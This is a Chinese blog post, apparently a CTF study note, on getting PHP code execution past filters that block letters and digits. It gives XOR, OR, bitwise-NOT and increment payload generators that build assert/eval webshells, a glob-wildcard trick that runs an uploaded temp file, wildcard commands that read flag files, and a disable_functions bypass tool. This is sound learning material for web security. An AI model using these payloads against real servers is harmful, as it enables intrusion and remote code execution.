原文:https://www.yuque.com/ni4n/blogs/txgc9o

前言

在看命令执行的时候,看到了P神的两篇文章,是讲在数字和字母都被过滤的情况下如何突破限制实现RCE漏洞利用,这里做个笔记。

Demo

  1. <?php
  2. highlight_file(__FILE__);
  3. header("Content-type:text/html;charset=utf-8");
  4. error_reporting(0);
  5. if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
  6. echo "hacker!!!";
  7. }else{
  8. eval($_GET['shell']);
  9. }
  10. ?>

异或绕过

这里是利用了在php语言中,两个字符串执行异或操作后得到的还是一个字符串的特性。
异或脚本

  1. valid = "!@$%^*(){}[];\'\",.<>/?-=_`~ " #可用字符
  2. answer = "phpinfo" #欲用字符
  3. tmp1,tmp2 = '',''
  4. for c in answer:
  5. for i in valid:
  6. for j in valid:
  7. if (ord(i)^ord(j) == ord(c)):
  8. tmp1 += i
  9. tmp2 += j
  10. break
  11. else:
  12. continue
  13. break
  14. print(tmp1,tmp2) #结果

所以第一种payload如下

  1. ?shell=$_="^@^@@[@"^".(.).=/";$_();

拿shell;
由于我是在php5版本下测试这里就直接用P神的payload了,如果是php7可构造为eval

  1. <?php
  2. $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
  3. $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
  4. $___=$$__;
  5. $_($___[_]); // assert($_POST[_]);

无字母数字RCE(转载) - 图1

第二种

  1. ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
  2. //${_GET}{%ff}();&%ff=phpinfo

或绕过

这里记录下羽师傅的一个脚本

  1. <?php
  2. /* author yu22x */
  3. $myfile = fopen("or_rce.txt", "w");
  4. $contents="";
  5. for ($i=0; $i < 256; $i++) {
  6. for ($j=0; $j <256 ; $j++) {
  7. if($i<16){
  8. $hex_i='0'.dechex($i);
  9. }
  10. else{
  11. $hex_i=dechex($i);
  12. }
  13. if($j<16){
  14. $hex_j='0'.dechex($j);
  15. }
  16. else{
  17. $hex_j=dechex($j);
  18. }
  19. $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
  20. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  21. echo "";
  22. }
  23. else{
  24. $a='%'.$hex_i;
  25. $b='%'.$hex_j;
  26. $c=(urldecode($a)|urldecode($b));
  27. if (ord($c)>=32&ord($c)<=126) {
  28. $contents=$contents.$c." ".$a." ".$b."\n";
  29. }
  30. }
  31. }
  32. }
  33. fwrite($myfile,$contents);
  34. fclose($myfile);
  35. # -*- coding: utf-8 -*-
  36. # author yu22x
  37. import requests
  38. import urllib
  39. from sys import *
  40. import os
  41. def action(arg):
  42. s1=""
  43. s2=""
  44. for i in arg:
  45. f=open("or_rce.txt","r")
  46. while True:
  47. t=f.readline()
  48. if t=="":
  49. break
  50. if t[0]==i:
  51. #print(i)
  52. s1+=t[2:5]
  53. s2+=t[6:9]
  54. break
  55. f.close()
  56. output="(\""+s1+"\"|\""+s2+"\")"
  57. return(output)
  58. while True:
  59. param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  60. print(param)

运行php文件得到一个txt文件,然后运行python脚本即可
结果

  1. [+] your functionsystem
  2. [+] your commandls
  3. ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

取反绕过

首先是汉字和取反方法

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如“和”{2}的结果是”\x8c”,其取反即为字母s:
脚本

  1. <?php
  2. error_reporting(0);
  3. header('Content-Type: text/html; charset=utf-8');
  4. function str_split_unicode($str, $l = 0) {
  5. if ($l > 0) {
  6. $ret = array();
  7. $len = mb_strlen($str, "UTF-8");
  8. for ($i = 0; $i < $len; $i += $l) {
  9. $ret[] = mb_substr($str, $i, $l, "UTF-8");
  10. }
  11. return $ret;
  12. }
  13. return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
  14. }
  15. $s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';
  16. $arr_str=str_split_unicode($s);
  17. for ($i=0; $i < strlen($s) ; $i++) {
  18. echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
  19. }
  20. ?>

payload

  1. $__=('>'>'<')+('>'>'<'); //$__=2
  2. $_=$__/$__; //$_=1
  3. $____='';
  4. $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); //$___=assert
  5. $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); //$_____=_POST
  6. $_=$$_____; //$_=$_post
  7. $____($_[$__]); //assert($POST[2])

此处还利用了php弱类型特性,true为1,所以(‘>’>’<’)+(‘>’>’<’)==2
在用的时候需要进行一次url编码,同样是php7以下可用

  1. ?shell=%24__%3d(%27%3e%27%3e%27%3c%27)%2b(%27%3e%27%3e%27%3c%27)%3b%24_%3d%24__%2f%24__%3b%24____%3d%27%27%3b%24___%3d%22%e7%9e%b0%22%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9a%84%22%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e5%8d%8a%22%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e5%a7%8b%22%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24_____%3d%27_%27%3b%24___%3d%22%e4%bf%af%22%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9e%b0%22%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e6%ac%a1%22%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e7%ab%99%22%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24_%3d%24%24_____%3b%24____(%24_%5b%24__%5d)%3b

无字母数字RCE(转载) - 图2

URL编码取反绕过

适用于php7以上版本

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

生成payload

  1. <?php
  2. echo urlencode(~'phpinfo');
  3. ?>

poc

  1. ?shell=(~%8F%97%8F%96%91%99%90)();

无字母数字RCE(转载) - 图3

执行命令

7.3也可用

  1. ?shell=(~%8C%86%8C%8B%9A%92)(~%D7%DD%88%97%90%9E%92%96%DD%D6);

拿shell

构造的脚本

  1. <?php
  2. error_reporting(0);
  3. $a='assert';
  4. $b=urlencode(~$a);
  5. echo $b;
  6. echo "<br>";
  7. $c='(eval($_POST["test"]))';
  8. $d=urlencode(~$c);
  9. echo $d;
  10. ?>

payload

  1. ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
  2. ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

但是经测试在7.1及以上版本就不能用了。

自增自减

php语言中’a’++=>’b’;数组的第一个字母即为A,而且在php中强制连接数组和字符串,驻足会转换为字符串,所以我们可以利用它得到所有字母。

这里直接贴P师傅的paylaod

适合php7.0.12及以下版本

  1. $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

使用时需要url编码一次

  1. ?shell=%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b

无字母数字RCE(转载) - 图4

进阶

如果将$_ 也给过滤了,而且在php5的环境下,那么上述的方法就用不了了呀。
此处就需要几个知识点

  1. 1.shell下可以用.执行任意脚本;也就是说该文件可以是任意文件,如txt
  2. 2.liunx文件名支持glob通配符代替
  3. 3.我们发送上传文件的POST包时,php会将我们的文件保存至临时文件夹下,默认文件名为/tmp/phpXXXXXX,文件后六个字符为随机大小写字母
  4. 4.通配符中*可以代替0个及以上任意字符?可以代表1个任意字符[^x]代表“这个位置不是字符x”而且glob支持[0-9]表示一个范围;而在ASCII表中,大写字母位于@与[之间,所以可以用[@-[]表示大写字母
  5. 5.<?=是echo()的别名用法,使用时需闭合前面标签

Demo

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: Lazzaro
  5. # @Date: 2020-09-05 20:49:30
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-09-07 22:02:47
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. // 你们在炫技吗?
  12. if(isset($_GET['c'])){
  13. $c=$_GET['c'];
  14. if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
  15. system($c);
  16. }
  17. }else{
  18. highlight_file(__FILE__);
  19. }

利用

先构造一个上传表单随便上传个文件,然后抓包

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>POST数据包POC</title>
  7. </head>
  8. <body>
  9. <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
  10. <!--链接是当前打开的题目链接-->
  11. <label for="file">文件名:</label>
  12. <input type="file" name="file" id="file"><br>
  13. <input type="submit" name="submit" value="提交">
  14. </form>
  15. </body>
  16. </html>

无字母数字RCE(转载) - 图5

然后修改文件内容为

  1. #!/bin/sh
  2. ls

构造payload为

  1. ?c=.+/???/????????[@-[]

无字母数字RCE(转载) - 图6

成功

扩展

无字母命令执行

前置知识

  1. /bin是系统的一些指令。binbinary的简写主要放置一些系统的必备执行档例如:catcpchmod dfdmesggzipkilllsmkdirmoremountrmsutar等。
  2. /sbin一般是指超级用户指令。(system binary)主要放置一些系统管理的必备程式例如:cfdiskdhcpcddumpe2fsckfdiskhaltifconfigifup ifdowninitinsmodlilolsmodmke2fsmodprobequotacheckrebootrmmod runlevelshutdown等。
  3. /usr/bin 是你在后期安装的一些软件的运行脚本。主要放置一些应用软体工具的必备执行档例如c++、g++、gccchdrvdiffdigduejectelmfreegnome*、 gziphtpasswdkfmktoplastlesslocalem4makemanmcopyncftp newaliasesnslookup passwdquotasmb*、wget等。
  4. /usr/sbin放置一些用户安装的系统管理的必备程式。例如:dhcpdhttpdimapin.*dinetdlpdnamednetconfignmbdsambasendmailsquidswaptcpdtcpdump等。

Demo

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: Lazzaro
  5. # @Date: 2020-09-05 20:49:30
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-09-07 20:03:51
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. // 你们在炫技吗?
  12. if(isset($_GET['c'])){
  13. $c=$_GET['c'];
  14. if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
  15. system($c);
  16. }
  17. }else{
  18. highlight_file(__FILE__);
  19. }

利用base64查看flag

  1. ?c=/???/????64 ????.???
  2. ///bin/base64 flag.php

利用bzip2压缩

  1. ?c=/???/???/????2 ????.???
  2. ///usr/bin/bzip2 flag.php

然后访问/flag.php.bz2下载

无字母数字RCE(转载) - 图7

突破disable_function

当我们拿到webshell之后,该站利用disable_function禁用了很多函数,致使我们无法执行命令时,我们需要突破其限制;此时可以使用蚁剑的一个插件as_bypass_php_disable_functions进行突破。

参考链接

一些不包含数字和字母的webshell

无字母数字Webshell之提高篇

继无字母数字的命令执行(ctfshow web入门 55)新姿势

[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)

Linux 基础知识 /bin,/sbin,/usr/sbin,/usr/bin 目录 区别详解

无字母数字rce(ctfshow web入门56)

无字母数字绕过正则脚本

写在最后

这世间很多事情,细细研究都是极其美妙的。